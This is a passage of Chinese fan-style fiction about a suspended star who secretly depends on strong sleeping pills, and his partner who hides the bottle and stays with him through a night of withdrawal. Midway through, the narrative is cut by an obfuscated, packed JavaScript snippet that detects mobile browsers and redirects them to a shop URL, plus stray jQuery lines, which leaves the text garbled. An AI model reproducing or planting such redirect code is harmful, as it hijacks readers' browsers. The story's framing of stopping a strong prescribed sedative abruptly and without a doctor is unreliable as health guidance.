初星不敢进去，也不敢离开。她僵直地守在客厅，手机屏幕早已被她按熄，但一条条新闻，却像滚烫的烙铁，反复灼烧着她的神经和视网膜。她几乎能看见外面的世界掀起的滔天巨浪——无尽的咒骂、尖刻的嘲讽、铺天盖地的失望……所有恶意的洪流，都无情倾泻向了那个被定义为“因疏忽犯错”的男人。
不知过了多久，也许几个小时，也许更久。天色从昏黄沉入墨一般的漆黑，只有远处的霓虹在窗帘缝隙外投下模糊的光晕。
那扇虚掩的门，终于被从里面推开了一条更宽的缝隙。
至龙走了出来。
他看也没看初星，径直走向厨房，打开冰箱，拿出冰水。
他的手很稳，稳得不自然，拧开瓶盖，仰头咕咚咕咚喝了几大口，喉结滚动着。
初星看着他这种状态更烦忧了，还有一丝恐惧。她战战兢兢的开口，声音干涩：“至龙……”
至龙侧过头，目光迟缓地落在她身上，那眼神空洞得让她心寒。
“公司……给我打电话了。暂停所有活动。无限期。让我……好好‘休息’。”他的语气平淡，带着漫不经心的讽刺。
他扯动嘴角，似乎想笑一下，但那弧度看起来比哭更难看。
“也好。”他重复了之前的话，垂下眼睑，看着手中的水瓶，“累了。真的…累了。”
他说完，没再看初星一眼，拿着水瓶，又走回了昏暗的卧室阴影里。
这一次，他还是没有关门，那扇虚掩的门，像一张无声嘲讽的嘴，仿佛在说：一切都已失去意义，里外早已一样冰冷。
初星想拉住他，试图留下一些余温，却只能感受到一片冰凉，也没法抑制从心底里漫出的悲哀。
接下来的日子，至龙不再将自己锁起来，他“正常”的生活。他会按时吃饭，虽然吃得很少；他会睡觉，虽然常常在深夜惊醒；他会打开电视，但眼睛失神，屏幕里播放着什么都与他无关。
他不再提那件事，不再碰手机，不再关心任何外界的消息。他只是存在着，像一抹没有温度的影子。
初星尝试过和他说话，尝试着提起律师还在调查，尝试着说成员们都想来看他，尝试着说还有粉丝在支持他。
但他没有任何反应。大多数时候，他只是沉默地听着，然后点点头，或者发出一个单调的音节表示知道了。
初星宁愿他发泄，宁愿他怒吼，也不愿看到他这样……
她守着这座已然失去了心跳的家，守着这个看似正常却已然枯萎的爱人，感觉自己也在被一点点吞噬。
她不知道这场‘休息’会持续多久，不知道他还能不能从这片绝望的死水中挣扎出来。她只知道，她不能离开。即使他不再看她，不再需要她，她也要守在这里，守着这具空壳，等待着黎明的到来。
直至一个深夜。
初星从并不安稳的睡梦中惊醒，心脏莫名狂跳，下意识地伸手摸向旁边，触手所及是一片空荡。她瞬间清醒过来，卧室门虚掩着，微弱的光从门缝底下透进。
她悄无声息滑下床，赤着脚像猫一样挪到门边，轻轻将门推开一条更宽的缝隙。
至龙正背对着卧室方向，坐在沙发旁的地毯上，微低着头，手里攥着一个小瓶子。
初星看到他用抖动的手拧开瓶盖，倒出几粒药片在掌心，仰头倒入口中，甚至没有用水送服，只是梗着脖子，困难地吞咽了一下。
整个过程安静、迅速、一气呵成，带着令人心悸的习以为常和麻木。
做完这一切，他蜷在原地，肩膀垮塌下去，仿佛在等待药效发作，又或者只是单纯耗着时间，等待下一个循环的开始。
初星死死捂住自己的嘴，才没有让那声惊叫冲破喉咙。她不敢发出任何声音，甚至不敢呼吸，凭借着强大的意志力，一步步极其缓慢地退回了床边，重新躺下，拉高被子，把自己严严实实地盖住，连头发丝都缩了进去，假装从未醒来过，从未看见过那一幕。
没多久，至龙走了回来，动作比平时更慢，更沉重，带着药物作用下初现的迟缓。他在床边站了片刻，才掀开被子躺下。
很快，他的呼吸变得异常沉重，那是被强制拖入的、深沉的、几乎毫无知觉的睡眠。
确认他完全睡熟后，初星再次睁开眼，眼泪憋不住地汹涌而出。她死死咬住下唇，用疼痛强迫自己不发出一丝一毫的抽泣声，身体因为极度的压抑而微微痉挛。
她坐起身，借着窗外透进的光线，看着身边男人沉睡的侧脸。即使在深度睡眠中，他的眉头依旧蹙着，嘴角向下撇着，仿佛在梦中依旧承受着无边无际的重压和痛苦。
她深吸一口气，狠狠抹掉泪水，随后蹑手蹑脚地下床。
走到客厅，凭着记忆，走到他刚才蜷过的位置，跪在地毯上，哆嗦着双手，摸索着沙发下的缝隙、茶几底下、地毯的边缘阴影处……每一个可能藏匿的角落。
终于，她的指尖触碰到了塑料瓶。它藏得并不算多么高明，或许他本身也并非真想费心隐藏，只是不愿让她轻易看见，维持着最后一点可怜的自尊，或是不想让她面对这更加不堪的现实。
初星用颤抖得几乎握不住东西的手，费力地将那个小瓶掏了出来。
她走到窗边，撩开窗帘一角，让更多的城市光污染照进来，看清了瓶身的标签。是一种强效的安眠药。瓶身上的标签显示，这瓶药的开具时间就在近期，剂量不小。
所以，他所谓的“睡觉”，是依靠这个。
所以，他那种异样的平静和麻木，不仅仅是心死，也掺杂了药物的作用。
所以，他每夜独自起身，在黑暗中服下这些药片后回到床上，假装一切正常，维持着表面摇摇欲坠的平静。
初星紧握着冰凉刺骨的小药瓶，瓶身的棱角硌得手心生疼，但远不及心口万分之一。她滑坐在地毯上，牙齿都在发抖，却没发出一点声音，任由泪水肆虐，哭到眼泪流干，喉咙哽咽发痛。
她不敢想象，如果没有这瓶药，他该如何度过每一个漫漫长夜。她更不敢想象，长此以往，依赖这种剂量的药物，这瓶“救命”的药，又会将他的身体和精神最终带向怎样万劫不复的深渊。
她不能让他这样下去。绝对不能。
她也不能慌。如果她垮了，那他就真的没指望了。
她摇摇晃晃地站起来，走进卫生间，刺骨的冷水一遍遍冲洗红肿刺痛的眼睛，看着镜子里那个苍白失措的自己，强迫自己冷静下来，不停深呼吸。
之后她把药瓶藏在衣柜最深处的大衣里，然后回到床边，静静躺在至龙身边。她不敢睡，只是睁着眼睛，在黑暗中听着他毫无生气的呼吸声，直到天色渐亮。
至龙醒来时，眼神还是带着挥之不去的空洞和滞涩。他反应迟钝，对初星准备的早餐只是动了几筷子，味同嚼蜡。
初星像往常一样，语气平静地和他说话，观察着他。
而至龙一整天都坐立难安，会在房间里反复踱步，手指频繁地用力揉着眉心，眼神时不时地、带着一种近乎神经质的焦虑，扫过客厅沙发、茶几、以及卧室的各个角落。
初星假装整理衣柜，故意弄出些声响，试图干扰他的注意力，或者借口需要他帮忙挪动一下家具，分散他的精力。
夜幕再次降临，她紧张地、几乎是不错眼地观察着至龙。
他比白天更焦躁和难以自持。虽然依然沉默，但那沉默里充满了即将爆发的能量。他在沙发上坐立不安，频繁变换姿势，电视里播放着什么他根本看不进去，眼神涣散，手指焦躁地敲打着膝盖或沙发扶手，呼吸逐渐变得有些急促、额头上渗出了细密的冷汗。
初星躺在一旁的沙发上，假装睡着，眼睛却眯成一条缝，感官高度集中，关注着他的一举一动。
在接近午夜的时候，他猛地从沙发上弹起来，开始在客厅里偏执地焦灼翻找。
抽屉被粗暴地拉开，里面的东西被翻得乱七八糟；沙发垫被
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16988263|188757||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一个个掀开，又胡乱地塞回去；书架上的书本被抽出来又插回去……动作越来越急，幅度越来越大，带着一种濒临崩溃的疯狂。
“在哪……到底在哪……”他发出极其痛苦的呻吟低语，汗水浸湿了他的头发。
初星再也装不下去，她坐起身，轻声问：“至龙？这么晚了，你在找什么？”
至龙的动作顿住，转过身，看向初星，眼神里满是被巨大需求驱使的急切与脆弱。
“药……我的药……你看见了吗？一个小白瓶……帮我睡觉的……” 他急切地用手比划着大小。
初星看着他这副被折磨的样子，内心柔软的部分在叫嚣，差点就要忍不住把药还给他，结束他的痛苦。
但她不能。
她摇头，脸上露出困惑和担忧：“没有啊。什么药？你哪里不舒服吗？是不是失眠又加重了？要不要我现在打电话叫医生来看看？”
“不是医生！”至龙突然激动起来，用力抓着自己的头发，声音带着哭腔，“是帮我睡觉的药！白色的药片！没有它……我睡不着……我…我没办法……熬过去……”
他在原地痛苦地打转，□□：“给我…求你了……娜比…如果你知道在哪……还给我……没有它…我会疯的……真的会疯的……”
初星一步步走向他，在他面前停下，距离近得能感受到他身体散发出的焦躁的热气。她看着他布满痛苦和依赖的脸，心如刀绞，坚定地伸出手，轻轻握住他潮湿的手。
“至龙，看着我。”
“我们不吃那个药了，好不好？”
“睡不着，就不睡。我陪你熬着。难受，就告诉我。想哭，就哭出来。怎么样都行，我都在这里。”
“但是，我们不吃那个药了。再也不吃了。”
她用力握紧他的手，直直的注视着他的眼睛，偏深的眸子里透着温柔。
至龙愣愣地看着她，里面的疯狂和焦躁慢慢褪去，但更深的无助和恐惧袭来。
“没有药……夜晚…太长了……黑得没有尽头……那些声音…那些骂声…那些画面…它们会来……它们会把我吃掉……我害怕……”
他神色空茫，垂着眼眸，眼泪混合着汗水滑落，额角的青筋一跳一跳的。
“我知道。”初星伸出另一只手抚着他的脸颊，温柔的亲吻他的眼尾，“我知道夜晚很难熬，黑得让人害怕。但我会在这里，我陪着你，一直在这里。它们来了，我陪你一起面对。我不会让它们吃掉你。”
“今晚，我们不睡了。我陪你看电视，或者我们就这么坐着，说说话，或者什么都不说，只是待着。直到天亮。我们一起，看着天亮起来。”
她拉着他，不再让他无头苍蝇般乱转，引导着他走到沙发边坐下。
至龙没有再挣扎，也没有再歇斯底里地要求找药。他只是靠着初星，抱紧她的腰，紧闭着眼，把脸深深埋进她小腹处。
这是一个煎熬的夜晚。至龙的情绪像过山车一样几度起伏，时而死寂麻木，长时间一言不发；时而焦躁低落，反复念叨着“怎么办”、“过不去了”；时而突然流泪，没有抽噎，只是静静流淌，仿佛悲伤已经成了身体的本能反应。
初星始终陪着他，当他沉默时，她便握着他的手；当他焦躁时，她便轻声和他说话，内容无关痛痒，只是用声音安抚；当他流泪时，她便递上纸巾，或者只是更紧地抱住他。
没有药物的强制麻痹，真实的痛苦如同反复涨潮的海水，一次次冲刷着他脆弱不堪的神经，也同时折磨着初星。但至少，他是在清醒地面对，而不是用药物将自己放逐到一片虚假平静里。
天亮时分，至龙在极度的身心疲惫和黎明带来的微弱安抚中，短暂地浅眠了过去。
初星一动不动地坐着，大腿早已被压得酸麻刺痛，却不敢移动分毫。
她看着外面染着淡粉和橙金色的天空，又低头看着满脸痛苦的男人，仰着脖子，头靠在沙发背上，有泪滑过眼角。